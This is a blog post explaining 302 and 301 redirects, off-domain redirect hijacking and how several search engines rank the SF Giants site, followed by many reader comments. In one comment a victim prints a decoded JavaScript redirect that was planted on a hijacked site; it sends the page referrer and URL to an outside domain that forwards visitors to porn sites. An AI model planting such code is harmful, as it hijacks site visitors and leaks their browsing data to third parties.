SEO advice: discussing 302 redirects

In a previous post I talked a little bit about 302s. Let’s cover them in more detail. A 302 redirect can be on-domain or off-domain. On-domain is simple and not prone to hijacking, so let’s talk about that first. Suppose you go to www.xbox.com and the site does a 302 redirect to some really long url, or a url with a session ID (this used to be what xbox.com did a couple years ago. Now you end up at e.g. www.xbox.com/en-US/, but play along with me). Would you rather see www.xbox.com or www.xbox.com/home/redir/sess?session=23412341234124124231455423633 ? Yeah, I’d rather see just www.xbox.com too. That’s why for on-domain 302 redirects (that is, a redirect in which both the source page and the destination page are both on the same domain), search engines will usually pick the shorter url. Hopefully that makes sense. I’d rather see www.example.com than www.example.com/deep/home/page?last=root&sessid=909345AF2343 , and I think most people would too.

Q: Time out. I’ve got a question. What’s the deal with 302 vs. 301? What does that mean? What’s the difference?
A: The “302″ refers to the HTTP status codes that are returned to your browser when you request a page. For example, a 404 page is called a “404″ because web servers return a status code of 404 to indicate that a requested page wasn’t found. The difference between a 301 and a 302 is that a 301 status code means that a page has permanently moved to a new location, while a 302 status code means that a page has temporarily moved to a new location. For example, if you try to fetch a page http://example.com/ and the web server says “That’s a 301. The new location is http://www.example.com/” then the web server is saying “That url you requested? It’s moved permanently to the new location I’m giving you.”

Okay, back to our regular discussion. Now let’s talk about off-domain 302 redirects. By definition, those are redirects from one domain A.com to another domain B.com that are claimed to be temporary; that is, the web server on A.com could always change its mind and start showing content on A.com again. The vast majority of the time that a search engine receives an off-domain 302 redirect, the right thing to do is to crawl/index/return the destination page (in the example we mentioned, it would be B.com). In fact, if you did that 100% of the time, you would never have to worry about “hijacking”; that is, content from B.com returned with an A.com url. Google is moving to a set of heuristics that return the destination page more than 99% of the time. Why not 100% of the time? Most search engine reserve the right to make exceptions when we think the source page will be better for users, even though we’ll only do that rarely.

Let’s take an example from the tiny fraction of the time that we may reserve the right to show the source page for a 302 off-domain redirect. If you run wget on www.sfgiants.com, you’ll get a 302 redirect to a different domain, and the url that you’ll get is pretty ugly: http://sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf . Please set aside that you are probably a site owner or webmaster for a second, and try to step into the shoes of a regular user on the street. If we had a taste test, how many users would prefer to click on “sfgiants.com” and how many would prefer to click on “sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf” ? Normal users usually like short, clean urls. They are less likely to say “mlb.com? I wonder what that stands for? Hmm. Maybe major league baseball? Is that the officially licensed name, I wonder? It probably is. Yes, it looks like sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf is the correct url from my query.”

Now you see the trade-offs. Go with the destination 100% of the time and you’ll get some ugly urls (but never any hijacking). On the other hand, if you sometimes return the source url you can show nicer urls (but with the possibility of source pages showing up when they shouldn’t). Different search engines have different policies that have evolved over time. Over the last year, Google has moved much more toward going with the destination url, for example, and the infrastructure in Bigdaddy continues in this direction.

Let’s take a look at how different engines handle the [sf giants] query. Remember that sfgiants.com does a 302 redirect to a url on a different domain (sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf). And remember that reasonable people can disagree on which url should show up at #1. I’m not trying to criticize any search engine here, but rather trying to point out that this is a weird corner case.

Current Google behavior: we return sfgiants.com at #1. But we also return http://sanfrancisco.giants.mlb.com/NASApp/mlb/sf/homepage/sf_homepage.jsp at #3, as an uncrawled url, which is definitely poor/suboptimal.

Current Ask behavior: Ask returns giants.mlb.com/NASApp/mlb/sf/homepage/sf_homepage.jsp at #1, sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf at #2, and sanfrancisco.giants.mlb.com/NASApp/mlb/sf/homepage/sf_homepage.jsp at #3.

Current MSN behavior: MSN returns giants.mlb.com/NASApp/mlb/sf/homepage/sf_homepage.jsp at #1 and sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf at #2.

Current Yahoo! behavior: Yahoo! returns www.sfgiants.com at #1, but also returns sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf at #6. You might think that returning sfgiants.com at #1 isn’t what Yahoo! said that they would do with 302 off-domain redirects (i.e. always go with the destination), but if you read carefully, Yahoo! also reserves the right to make exceptions in handling redirects. That allows them to show a nice url at #1.

Current Google Bigdaddy behavior (data center at 64.233.179.104): Bigdaddy managed to find a short url on the destination domain of mlb.com, namely giants.mlb.com, and returns that. We return it at #1 with no other duplicate urls on the first page.

Please don’t take me listing the current results from each engine the wrong way; I think the results from all the search engines are great for this query, because a user would have gotten to the correct final location with any search engine that they tried. This is also an unusual case where reasonable people can disagree on what the best answer is. Also, I’m positive people can find places where the Bigdaddy data center handles things the wrong way. My only point is that the new infrastructure at the Bigdaddy data center will let us tackle canonicalization, dupes, and redirects in a much better way going forward compared to the current Google infrastructure. I’m not claiming that everything is perfect in Bigdaddy, just that it’s easier for us to make changes and improve search quality as we get feedback from you.

Okay, that’s about all the background I wanted to give. Next post will call for Bigdaddy feedback.

116 Responses to SEO advice: discussing 302 redirects (Leave a comment)

  1. Anh

    What a day!
    Any more?

    Thanks Matt

  2. Matt

    One more, then regular work. :)

  3. Yeow… great write up. Really clears up some things for me. Thank you for taking the time.

  4. Wow, I feel like I am back in school with all this reading I have to do today. :)

    Thanks for all the updates Matt and the invaluable information from a source actually under the hood.

  5. nuevojefe

    Soooooo…. what you’re saying is that those nasty blackhats should 302 hi-jack with pretty (prettier) URLs!
    ;-)

  6. so using bigdaddy as an example, and scraping the google IPs for urls and positions with a quick little script….

    I”m guessing the BigDaddy update will be at http://64.233.179.104 ??

    :)

  7. err i meant to say using the Giants queries above as an example. It’s too close to 5pm.

  8. Chris/FreshContext

    Interesting how there was a thread somewhere recently, comments about the Matt Cutts blog not giving enough SEO info.. and now we have this “SEO advice” injection today. I guess you do track the SEO blogs/forums pretty well Matt… Thanks for the inf. While I have a healthy skepticism about Google it’s nice to know somebody is listening…

  9. Wayne

    Thank you Matt for that post, I am a noob when it comes to this type stuff but even I understood what you said. Great examples and explained to where those of us who dont have this technical knowledge can understand it.

    By the Way, how can I link my website from my name as I see others have done?

  10. Redirected

    If you want to see great test cases for where you guys are not handling these well (from the search user’s experience point of view) look no further than gmail and its myriad redirects.

    Try searching for gmail. For my datacentre I get the same page (after resolving redirects) in 4 of the first 10 places:

    gmail.google.com 302 -> gmail.google.com/mail ->301 mail.google.com/mail ->302 http://www.google.com/accounts/blahblah

    mail.google.com/mail see above for rest of chain.

    mail.google.com 302 -> mail.google.com/mail/ see above for rest of chain.

    https://gmail.google.com/?dest=http://gmail.google.com%2Fgmail chains through gmail.google.com redirects until reaching gmail.google.com

    respectively, positions are:
    1
    2
    3
    7

    bigdaddy improves the situation by removing 2,3,7 ut ads (at position 2):
    mail.google.com/index.html 302 -> mail.google.com/mail see above for chain.

    Interestingly, despite these pages landing at the same spot (for me) they all seem to be serving different snippets.

  11. Matt,

    I see a possible problem with 302 on-site redirect. This is the case when the site we’re speaking about is some freehost (say somefreehost.com). It is not a secret that subdomains/subpages of such sites often used as doorway pages
    (say somefreehost.com/guestbook/trampoline-to-be-positioned-for-phentermine-keyword ) by black hat guys/girls who create many spammy backlinks pointing to it (for positioning them). Once discovered by freehost owner these pages are often deleted by putting 302 redirect (to the main page of the somefreehost.com) just because this is a standart rule for many free hosts – 302 redirect from any non-existant page to the main page. After that all of us will see somefreehost.com on the 1st SERP for `phentermine’ for weeks. It have hapened many times in the last half of the year (I had not monitored SERPs before that ;).

    Could you please say – what you personally recommend to somefreehost.com’s owner in is this scenario:
    1) Put a 404 for such pages?
    2) Do some other redirects (e.g. javascript or meta refresh tag)?

    Btw, do non-http authentic redirects play any role in canonicalization? Is there a recomended by google way to do redirect without affecting google canonicalization view?

    Thank you in advance….

  12. Michael Weir

    fascinating post – thx Matt! Although, at the time I post this bigdaddy was returing http://www.sfgiants.com as #1 when querying “sf giants”. I don’t think bigdaddy likes you. :-)

  13. claus

    Uhm… what’s the query?

    [giants]
    [sf giants]
    [san fransisco giants]
    - other?

    Personally I don’t see “a short url on the destination domain of mlb.com, namely giants.mlb.com” for any of these (tried 64.233.179.104, 64.233.179.99)

    (*double-checking*)

    Oh, I see… [giants] on 66.249.93.104 and 66.249.93.99 – Nice :)

  14. Matt

    nuevojefe, I would not recommend it. :) Our eyes are peeled right now for issues/problems anyway. :)

    Wayne, you need to fill out a website address. Bear in mind that those links are marked with nofollow, so you won’t get any link juice, but if people like your comments they may click through to your website..

    Michael Weir, looks like they pointed 64.233.179.104 to a different data center for a short time. I’ll walk down and ask about it.

  15. Seg

    Hello,
    It seems that on Bigdaddy the meta refresh (0 second) hijacking problem hasn’t been solved..
    ++

  16. Wayne

    Thank you Matt I wasnt wanting it for a backlink, I think it is a good idea to use nofollow tags. Thanks for the answer.

  17. Matt,

    Could not using a 302 redirect internally hurt a site? I have a site that’s struggled in Google (it’s slapped Supplemental) :( , but my site offers nothing but content. Anyway, twice I have internally moved pages and both times I didn’t not place 302 redirects because at the time I did not know what a 302 was. I figured it wouldn’t be a problem, but now Googlebot never visits my site anymore…

    Thanks,
    Blake

  18. Matt

    claus, sorry if I didn’t mention it specifically, but the “litmus query” to tell Bigdaddy from non-Bigdaddy is [sf giants]. Other queries may work too, but that’s the one that I was looking at.

    Seg, send us a clear-cut example url via the dissatisfied link?

    WhyMe, an on-domain 302 shouldn’t hurt a site, but if you’ve moved everything to a new location for good, I’d try using a 301 (permanent) redirect instead. Hope that helps some!

  19. Matt,

    Lets say you have 5 pages of a specific type of widget because there are a total of 50 and you only want to display 10 per page.

    Then you decide to display all of them on one page.

    Google has already indexed and given page rank to the 5 different pages.

    The question is should you do a 301 redirect on all 5 pages to the one new page? I ask because I don’t know if that would be viewed as duplicate content.

  20. Whenever a page talked about 301 and 302, I immediately clicked and moved on. This one’s presented in a fashion that was best described in layman’s terms…well written.

  21. Mattkp

    Is it possible for someone to use hijack a page by 302 redirecting to a url with fake URL variables in the url so it makes it look like its going to a junk URL but they just added extra stuff in there so that Google will stay on the domain A instead of where the redirect goes to?

  22. Del Maxwell

    I agree that easy URLs are important for brand recognition and for users to be able to type into their address bar.

    Matt said – “Please set aside that you are probably a site owner or webmaster for a second, and try to step into the shoes of a regular user on the street. If we had a taste test, how many users would prefer to click on “sfgiants.com” and how many would prefer to click on “sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf” ? Normal users usually like short, clean urls.”

    Why do you think people have problem with what you consider to be ugly URLs? Was this determined from a study group? Or is it something that is assumed because it makes sense to techies from Google? If it’s the second option, I thought we were supposed to forget we were webmasters…

    Personally, I’m a techie/webmaster and I look at many things when determining what link I want to click (including URL), but many of the people you would call a “regular user on the street” don’t even know what a URL is, let alone care if it’s ugly. Obviously some people do care, I would just submit that those people are not “normal users”. At least not today. Maybe someday.

    I’m not saying that I really care one way or the other how G handles 302s, it’s just that the reasoning given doesn’t make enough sense to me to justify being wrong 1% of the time…out of billions of pages and millions of users, there’s a lot of being wrong.

  23. Please give me one good practical (i.e. real-world, non-theoretical) reason why 302s should be treated differently to 301s. e.g. if http://www.sfgiants.com was a 301 redirect to http://sanfrancisco.giants.mlb.com/NASApp/mlb/index.jsp?c_id=sf, rather than a 302, why should the SERP listing be any different? :)

    Some points to note:

    1) many indexed URLs are temporary anyway (e.g. will generate 404s now but not when they were crawled)
    2) many Webmasters treat 301s, 302s and 307s interchangeably
    3) there are other kinds of redirect (e.g. HTTP refresh, javascript, frames) and they all appear to be treated in different ways in the SERP listings, even though they are treated the same by Webmasters and the content seen by searchers is the same too.

  24. Nadir

    Matt, this is Nadir here, you remember the guy who was concerned about the fact that you were recently talking about spams, while you were elected “Best SEO blog of 2005″.

    I read all your last posts where you give “SEO advices” and I would like to thank you very much. I think this is the kind of information that you have to share with your readers that are mostly SEOs.

    Cheers,
    Nadir

  25. Karen

    I would like to get a clear answer on how google handles redirects from one domain to another. Ex: I have a.com and b.com. I want to stop using a.com and redirect to b.com due to name recognition. I have received different advise on how to handle it. 301 or 302 for a while then 301. Most say google will consider either way duplicate content. If this is the case, b.com will be penalized so I should do neither one! Obviously, I am not a webmaster but a site owner tring to learn:)

  26. Hi Matt
    I have recently redesigned a website and due to the restructuring of the site most of the webpages have different names to those that were there before. The new version has only been up a month and Goggle is still listing the old page names in searches and reporting 404 errors on my sitemaps.

    My question is:

    Is it worth me uploading the ‘old’ pages again with a 301 redirect.

    ie:
    activities.htm and attractions.htm both redirected to the new ‘Things to do” page?

    The other pages had a few links to them, only a handful but they were still bringing in a small amount of traffic.

    I have updated the sitemap to reflect the changes

    Is it a wise thing to do or best to just sit back and wait for Google to get ‘bored’ of finding the 404 pages. (G has spidered the new pages)

    It’s a cheeky ask for specific advice i know but i’m sure this would be useful advice for many

  27. My site is an old eccomerce site that has been around since the early internet days. Currently, everything on my site is generated on the fly. All requests for specific file types (htm and html included) are redirected to a custom script that handles generating the page. Up until about 2 years ago, all internal links pointed to htm pages. Through a mistake of mine, the suffix was changed to html. Of course rankings have dropped, but they have been slowly rising again. I don’t have any 301 or 302 redirects from htm to html pages, and I’m not reporting 404 either. I am showing the correct page in either situation with a 200. I didn’t even realize what the problem was until recently.

    Off and on over the last year, some of my pages have gone back and forth as being listed supplemental. This is what helped me finally figure out what I had done. Sometimes the html would show, and sometimes the htm as a supplemental. It appears I was hitting a duplicate filter and both pages would go away.

    The new index has the html pages ranking properly again.

    Would you reccomend doing a 301 on the htm pages? Or, since it appears to be okay in the new index, just leave it alone.

  28. Hello,
    You are very informative.. But I hav enot seen anything on how to cure the problem when someone hijacks your site. I have a site hijacked that used to have a pr6 and tons of google traffic. Still getting my other traffic from the other search engines around 50k unique every month.
    We even know who has hijacked us, but have had nothing but failure dealing with customer service at google. Any help would be good help
    Scot

  29. Hi Matt,

    So could you please clarify the following. Up till now I have always understood that 302s were basically bad as they made it more difficult for Google to resolve these types of issues. I am familiar with using 301s to avoid duplicate content, consolidate back links and page rank, etc. Is there now a preferred use for a 302 redirect with Google or does Google still prefer that all redirects be 301 to avoid confusion. Personally, I will not use 302s as they will still be problematic for other engines as well but I would like to know when evaluating a website for potential SEO problems, if Google now recogizes the 302 as a valuable tool for any given scenario. Any help is appreciated. Thanks!

  30. @Matt: I’m a little bit to late with my comment, but hope you ‘ll give me an answer.
    The problem: In many search-result-pages I saw some Feed-URLs: First the normal result and the next ist the feed result. For example:
    http://xxx/normal_page
    http://xxx/normal_page/feed
    The feed-result is really an xml-feed from a blog. My first step was don’t indexing the main blog-page [with noindex] – result: blogsearch don’t indexing the blog but the results in normal search was without feed-URL. Thats not what I want. Now indexing all – and use a rewrite-rule with 307 to the normal page for user what comes from google serp and clicked the feed-URL. I wrote an Email (6 weeks ago) to blogsearch and google-support about the “spamming” feed-URLs in normal serp’s but don’t get an answer. What is your way to handle this problem? Is 307 a good way?
    Thanks and sorry for my bad english.
    With best regards from Berlin, Germany,
    Thomas

  31. Hey Matt,

    Thanks for shedding light on the situation with 301 and 302 redirects. The sfgiants.com example you presented mimics what we do as well.

    We represent various event spaces in Manhattan and recently started using 302 redirects to make sure the venue profiles have friendly URLs in google

    e.g
    example.com/new%york%city/restaurants/lowereastside/restaurantname?blablabla

    would be the destination URL when someone clicks

    example.com/restaurantname/

    in Google results.

    It has definitely brought us more traffic in the last few months, however both the start and end pages of that 302 Redirect have been indexed by Google, so I’m afraid we will start getting penalized for duplicate entries.

    If we prevent search engines from visiting the destination URL (using robots.txt), they will never index the friendlier URL as a result, so it’s a no-win situation.

    Any suggestions on how to get around this?

    Keep up the good work,

    Felix

  32. The new Big Daddy code rocks. Seriously. It just works.

  33. Matt,

    I’ve come across your blog recently I can’t believe you reply to all of these posts. You are incredibly generous with your time. If you would answer this question for me I would feel blessed – and hopefully others will find this useful as well.

    I have a domain for my Internet Marketing company http://www.agito.ca. I also own http://www.agitointernetmarketing.com but I have never used it because it is so long. It has occured to me that I should use the longer domain online because of the keywords in the domain and just use the shorter domain offline.

    I am thinking of doing a 302 redirect on the root and each subpage of agito.ca to the appropriate page on agitointernetmarketing.com

    It seems from your reply to a post above a 301 redirect would be more appropriate. Ok fine – but how will this affect all of the current inbound links I have to the agito.ca site? Will I be starting over with agitointernetmarketing.com? Will the PR of agitointernet,marketing.com also start as 0? Or will the backlinks and the PR of agito.ca automatically be attributed to agitointernetmarketing.com in a short while?

    Thanks!

  34. Feng Jiang

    Hi Matt,

    I am considering the google’s spider’s implementation. since google’s spider will fetch the redirected url (target url), the spider must have the ability to get the new domain’s IP address. So does Google’s spider will store the IP in some datastructure? so that when the fetch-list (a list of urls to be fetched )is generated, the IPs are filled.

    Do you know that?

    Thanks a lot!

    Feng Jiang

  35. Kestrel

    Hiya,

    Read tonnes on this but can’t seem to find a straight answer.

    If I 302 redirect to someone elses site will I get a penalised? i.e. get accused of hijacking…

    If so will using a 301 redirect prevent me from being penalised?

    Will using a 301 cause me to lose PR? (please no comments re: relevancy of PR)

    Just wanna do the right thing (“,)

    Many thanks,

    Kestrel

  36. Ralph

    Hard the problem with moving to a new domain using a 301 redirect been resolved? I know it was taking months for google to acknowledge a domain 301 redirect.

  37. Let me rephrase that…Will multiple redirects from different sites to a single site affect the ranking?

  38. Hi Matt,

    thank you for all the informations here.

    My question is about 301 vs. 302 in cases of multiple url’s all representing the same page.
    Why this? Unfortunatly, I does’nt care about search engines for many years – my mind was only at content. So I change the url of the main page for my website many times.
    Now, there are 8 variants of url’s for the main page out there and I try to collecte all to get a PR that makes sense for my page; The variants are:
    http://pervan.de
    http://pervan.de/reiseberichte/index.asp
    http://pervan.de/reiseberichte/index.jsp
    http://pervan.de/reiseberichte/
    http://www.pervan.de
    http://www.pervan.de/reiseberichte/index.asp
    http://www.pervan.de/reiseberichte/index.jsp
    http://www.pervan.de/reiseberichte/

    I decieded to let the last of this url’s to be the main page now.

    First, I tried to manage the collection of link values by redirecting all this url’s to the last url. The result is a very small PR (0 or 1).
    I found somewhere that google don’t like this – there should be only one 301 to a single target url.
    Now I build a chain of 301′s. First url redirects to second, sencond to thrid … and so on.

    Makes this sense and is there a way to solve suche cases with 302′s?

    Thanks a lot for your attention and for any hint
    Mirjana Pervan, Berlin

  39. I have been considering a redirect (either 301 or 302 – not sure which is best for my situation) because all the pages in my site are being indexed with http://www.sitename and sitename.com, causing duplicate pages and forcing supplementals as well as booting off one url version as the other duplicate is indexed, and on and off it goes just like that.

    What I want to know, is for most of us, if we type http://www.sitename in google page rank we may get a rank, then by typing sitename.com, it is usually a different rank and the pages indexed are usually different as well. Is there a way to fix this by using redirects on all index pages, pointing it to the correct version of the url you want? (ex. www or http://) Or if there is another way for me to prevent google from indexing both (other engines tend to not index both to the degree google does) I would love to hear about it. Anybody else experience this problem too?

    Hope someone can help me out with this… thank you.

  40. Nice piece, Matt! Is anyone ghost-writing this for you? Just kidding … Simply looks like too lively a style for a deeply technical whitepaper.
    Anyways, on the actual matter of showing destnations vs. 302 originating URLs:
    I think that the length of the URL in terms of user experience is overrated and therefore only destination has to be returned 100% of the time, no matter how ugly the URL. On the search result pages you use title tag text for the anchor, and that is what a user sees/cares about. Unless you are concerned about SEO pro guys among your visitors noone would ever guess on the quility of the site by looking at the URL in the status bar (which can be altered with JavaScript anyways).

  41. I share 1script opinion “…I think that the length of the URL in terms of user experience is overrated and therefore only destination has to be returned 100% of the time, no matter how ugly the URL. On the search result pages you use title tag text for the anchor, and that is what a user sees/cares about. Unless you are concerned about SEO pro guys among your visitors noone would ever guess on the quility of the site by looking at the URL in the status bar (which can be altered with JavaScript anyways)….”

  42. Will multiple redirects from different sites to a single site affect the ranking?

  43. Hi Inferno,
    it seems that multiple 301-redirects from the SAME site does affect ranking in unpredictable way.
    I don’t know if it makes a difference if the soures of the 301′s are from different domains.
    It’s not easy to find information about this. The current behavior of google lets me suppose that one random selected source of all redirect is the only that affects pr of the target.
    From my point of view it whould make sense if google whould add all the page rank affects from different redirects.

    Greetings
    Dietmar

  44. Excellent read…

    However it does not provide a truthfull and insightfull advice on how to get unhijacked. You probably have a lot of reading and catching up with the comments here. I will try to be as short as possible. However this is a problem which I think treats our site unfairly, even though it is a much better resource than many in your results for our target keywords and has certain niches on football which other sites do not.

    We operate a website (www.worldcuplatest.com) which used to get good rankings on a number of keywords. However after January, traffic from Google started to fall dramatically. From about 2000 uniques a week, it fell down to 45!!!

    I have sent an email to support, sent another and another but nothing happens. It seems that we are getting hijacked big time. We have a very limited budget as we are running all this from our own pockets (I am also a student). Despite that we did spend an extra lump on getting some good quality links pointing to our site and to pages deep to our site (since it seems that there is no other way).

    After 6 weeks of the links going live, and my noumerous attempts to contact as many related sites as poss for linking, our pagerank on the homepage is still 3, the same as it has been since last july. Our content is unique, I’ve done as much explaining as possible to the chief editor about including keywords in the title and the excerpt (which by the way get syndicated to hundreds if not thousands of sites each and every time they get published).

    Still not happening… Google traffic keeps falling down. I really do not know what to say or do. Imagine 2 people working on this project since May last year for over 12 hours a day EVERY DAY on average, and that includes weekends, weeknights, weekdays, holidays and my current easter holiday in Greece, where my laptop is constantly looking at sites explaining ways to minimise the effect of other people hijacking through 302 redirects, other known and unknown tactics to steal our pagerank.

    I suspect it has to do with our closest competitors, as news providing is really competitive, especially with football. Not to mention the rejection from google news of our site suggestion as a news source. The BBC likes our news and features our headlines on some of it’s sites, but Google does not see us fit for it, but do not want to go into this right now, as it is unrelevant.

    Please give some insight on this issue. We are treated very unfairly here and I will repeat what I have said to my noumerous support messages that you NEED to spend more effort improving your search results than improving AdWords.

    My humble opinion here… Nothing personal and especially to you, as I have been following your writings and discussions about them all over the Internet. Also do not mean to speak against google. I’ve been using it probably longer than many of it’s engineers work there.

    Google says in it’s webmaster info: You need to focus on building a site for your visitors and not for search engines. Focus on having quality & fresh content and not on fooling search engines (in brief).

    What we have been doing is exactly that. Ever since the first article was published. I know a lot about internet marketing (not everything) and run other sites too, with a far bigger success in google such as westhamfans.org. Why all this bad luck with worldcuplatest and Google? I’ve recently also sent an email to support with “canonicalpage” as subject but don’t seem to be getting any reply.

    I also noted that many insurance/poker/pr0n/travel/finance sites are sending us traffic without linking to us. Strange and extremely suspicious of causing the troubles…. Traffic comes from subdomains in the form of travel-offers.best-travel-deals-on-the-net.com but no link to us appear on these sites.

    Since December, there have been a number of changes on the site, including a 301 from the non-www version of my domain to the www. one, I also changed drupal’s node/2434 urls to a url which takes the title and replaces spaces with – as the url.

    There are over 2500 pages of UNIQUE and very interesting content (according to what some visitors say about what they think of our site). I have not been employing a single black-hat seo tactic/strategy, rather links from other sites and getting the maximum possible publicity for our RSS feed.

    The tournament for which this site was developed is near and traffic from Google KEEPS FALLING UNDER 45 VISITORS A DAY!!!

    I mean what else should I do?? Good links I have, many links I have, unique content I have, daily updated content I have, good design I have (at least that’s what every person I know says about this site), niche content I have, deeplinks I have, …. and so on.

    What I don’t have is cloacking, 302 redirects to external websites, duplicated content, hundreds of subdomains and “sattelite sites”, and possibly a few others which I simply can’t think of right now.

    I know your guidelines work for most sites, but boy they’re not helping me at all. All the investment (salaries, server, bandwidth, marketing, etc.) is going towards a financial collapse, as a direct result from Google’s penalties. All other search engines show us in the first page of results for ultra high competitive keywords. What’s wrong with Google??? Or better, what’s wrong with my site??? Should I start deploying black-hat seo techniques (which I hate as much as any

    Feel very desperate about this as I’ve spent so many hours on this project as no one else has. Recently we got into the 2nd place for a very competitive keyword on Google, but still for the primary keywords we’re not even in the top 1000 results.

    I really don’t have time to be checking Bigdaddy and the other datacenters in order to determine if anything has changed. I still believe that the key is to continue with the content and also keep bringing in quality links (another lunacy here is that although you suggest to webmasters to get as many links as possible, there is speculation that you DO penalise sites that get more links than a specific threshold.

    Sorry if I sound too critical or anything… I’ve been using the web since it’s graphic-less days back in 1989 and have been very carefull with how the site is developed and maintained. It is not my first site, I’ve had good success with Google in the past on a number of projects, without being what many call an internet marketing expert.

    Also, bear in mind that if you take a look at some key discussions on the big marketing forums out there, you can clearly see that many people complain about their traffic and business seriously damaged as a direct result of the recent Google updates.

    However I am 99.999% positive that the problem lies with other sites deploying nasty tactics against ours. Google search technology is not yet ready to combat such tactics and a lot of innovative and unique sites are getting drowned over subdomains and malicious sites.

    Finally, thank you for your published insight on the 302 issue as a lot of people are increasingly interested in this, however, I think your article needs to deal a bit more with what a legitimate site can do in order to avoid loosing rankings by 302 hijacking and other techniques.

    Any suggestions will be greatly appreciated. Sorry for the long posting. I know you do not answer site-specific questions. I am just showcasing my problems here.

    Best regards,
    Pavlos Skoufis

  45. I have a question regarding redirects/web forwarding/URL Masking ..whatever!.
    What are these terms and how are they related?.
    Basically my issue is this: i have a client who used to own a domain called “hisbusiness.uk.com”. This expired, so he came and asked me to host his site under a new domain name called “hissurname.biz” as this was the only one available. So, I register this new domain name, configure it on my Virtual server, and upload his site files and all is hunkydory!. He then later tells me that he wants to keep his other domain running as he has advertising stuff already printed with this URL address. So i call up the uk.com hosts, CentralNic, after re-registering hisbusiness.uk.com again, and they say that they can point this URL to the new .biz domain using what they call web forwarding. So they do this, and use something called frame forwarding (URL masking??) to keep the URL address of hisbusiness.uk.com in the address bar whilst redirecting to the new hissurname.biz website. This all works smoothly now, but i still dont understand what this web forwarding actually is. Is it a form of 301/302 redirects or something completely different? Also by doing this, he has lost email capability on the uk.com domain because it is using web forwarding. Is there another way to redirect the uk.com domain to point to .biz domain as well as keep the uk.com email facility active?. Any help would be appreciated as the client is now asking why email is not working from the uk.com domain.
    Many thanks,

  46. Could one assume, then, whenever a 301 redirect is possible, it should be favored over a 302?

  47. Kevin

    hi,

    Will multiple redirects from different sites to a single site affect the ranking?
    and also tell me more about different in 301 and 302

  48. Thank you so much for this article. I have been looking for clarification on this for a while now!

  49. Hi Matt,

    I have 5 domains that were all hosted on the same linux machine at a hosting company. The hosting company was bought by another company and they moved my domains to another linux box.

    Before, I had all 5 domains working off one master domain.

    Master domain: http://SmartLister.com

    If a visitor typed http://MillLister.com , they would be displayed the content of SmartLister.com’s domain, but the url would still show MillLister.com/ and other page they were on after the ?.

    Now since I have moved, they set me up with a Plesk control panel. I set up the master domain as MillLister.com this time, and set the other 4 domains to redirect to MillLister.com. This has bumped me off of Google.

    I see that I can also do frame forwarding, instead of standard forwarding. When I do this, there is never anything in the address bar after .com/.

    Will doing this casue Google to continue to drop me from their index?

    My only other choice is to host 5 idential domains and edit all content within them to say put where they are.

    Your help is greatly appreactied, as my web hosting company has no idea.

    Thank you,

    Dave

  50. ben

    hi i realy love this article..

    but anyone can point me out the differ between of rewrite .htacess with 302 and 301 redirect ??
    sample: mypage was http://www.xaluan.com and i using the htacess to make other like http://www.xaluan.com/forums and http://www.forums.xaluan.com back to my home page..

    and is that will hurt my goooole PR?? by duoble containt if i do not using redirect techncal ??

  51. This is great info, but it seems that at least some of the issues that Google was having (or creating) with 302 redirects that were causing SERP problems may have been fixed with various Google updates over the last year, and since this article was written. Several folks on recent WMW threads have commented that some off-site 302 redirects in particular seem to be less of an issue than they were before. Can you provide us with an update on what has been done and what remains to be done in this area?

    There also has been some comment about a few of the new related http 1.1 response codes, and I am wondering if some of these might not cause Google some of the same issues as 302s do/did.

  52. Excellent Article!

    I have a secondary domain name, the ‘.com’ version of my name… It is redirected 301, to my ‘.ca’ account. Is this safe?

  53. I have a domain name InternationalJobs.com that for years simultaneously served up the content from our OverseasJobs.com web site. Recognizing that this a Google no-no, please advise our best course.

    Can we simply 301 redirect InternationalJobs.com visitors immediately to the OverseasJobs.com web address without PR penalty from Google?

  54. Interesting tips here about 301 vs. 302, but like you said be careful with off site redirecting. Just about everyone uses 301 redirects due to owning muliple domain names. Either way good tip.

  55. I’ve been looking at some redirects I’m doing, and why even specify a 3xx code at all?

    301, 302, 307??

    Is there anything wrong with simply doing:

    RewriteRule foo foo.html [L]

    Thanks!

  56. How come there’s problems with redirects at the moment? I’ve got pages in the supplemental index, that is 301 redirectet to a new loacation… That’s weird.

    Thanks for a great blog by the way :-D

  57. About a year ago I bought a new domain name – just because it was easy to remember. I read that there were problems with search engines and redirects, but the guy at my webhosting company assured me that a 302 would be no problem. Last week my PageRank for my most important keyword phrase (fractal art) dropped from #4 to #43, and now it’s #48. A few minutes ago I found the new domain in Google SERPs – about #150 for “vicky”. Frantically deleted the add-on domain. It still works, but my webhosting company should be able to make it die. I wonder if my PageRank will recover, and if so how long it will take.

  58. Matt,

    Have a quick question about URL’s, if I have several URL’s can I use them all independently as long as the content on them is different, but the basic product will be the same?

    Then can I link back to my main URL without, “Apply Here”, without penalty?

  59. Hi Matt,

    I posted this on SearchEngine Watch forum looking for some answers Please read this and let us know how we can solve this issue…

    URL Hijacking:
    I noticed strange beaviour on my client’s website, we optimized the site and Google had indexed around 6000+ pages and was doing excellent on organic search results, however we found that our client sites URL was hijacked and it started showing some porn sites url and after investigating I found this redirection mechanism built into those pages if anybody has come across this pls pls drop ur thoughts on how to get rid of URL hijacking and stop this menance …

    It loads a page not sure how that page got onto our client’s domain and that page builds a URL through javascript and does an redirectionand the code I decoded is below:

    location=(”http://search4us.us/in.cgi?3&seoref=”+encodeURIComponent(document.referrer)+ “¶meter=$keyword&se=$se&ur=1&HTTP_REFERER=”+encodeURIComponent(document.URL)+”&default_keyword=lesbians”);

    So it takes the HTTP REFERER and the redirects the traffic to this site search4us.us and which in turn redirects to some porn sites …

    Is Google aware of this?? Is google gonna drop my clients search results?? What is going to happen with my client’s reputation?? anybody here can throw in some light here ….

    Regards
    InfoSourcing Inc

  60. I inherited a website at a new job. Years ago, some SEO work was done on it. About 300 pp are redirects to the home page – the ‘optimized’ pages. What kind of problem is this, i.e. for taking them down, or for leaving them up? What would the effect be on different search engines. The website has only one page indexed on Yahoo. I guess we’re on the s**it list, because I resubmitted but was denied my reindexing request for the whole website (about 1500pp). A heap of those pages are page rank 4-5.

  61. Andrew

